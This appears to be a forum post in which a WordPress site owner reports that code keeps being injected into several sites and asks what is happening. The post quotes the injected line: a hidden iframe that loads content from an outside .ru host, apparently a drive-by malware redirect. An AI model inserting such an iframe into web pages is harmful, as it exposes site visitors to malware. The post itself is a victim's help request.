WordPress keeps adding a bit of code.

Ok, so i have fakefangs.net and skinsfan.net and every so often today theyve been malfuctioning. When ive looked at the code where it says its wrong there is a new bit of code added.

<iframe src="https://xh4.ru:8080/ts/in.cgi?pepsi132" width=125 height=125 style="visibility: hidden"></iframe>

i also cannot edit the “infected” files as my sophos anti virus says its a virus. i dont know whats happening but its only affecting wordpress files.

its really starting to bother me now. just so you know, i havnt added that code in. it keeps randomly popping up and i dont know why.

PS. its also affecting a site i host but do not own which uses wordpress. i thought if it was someone hacking that i would change my password and i have, but its still happening.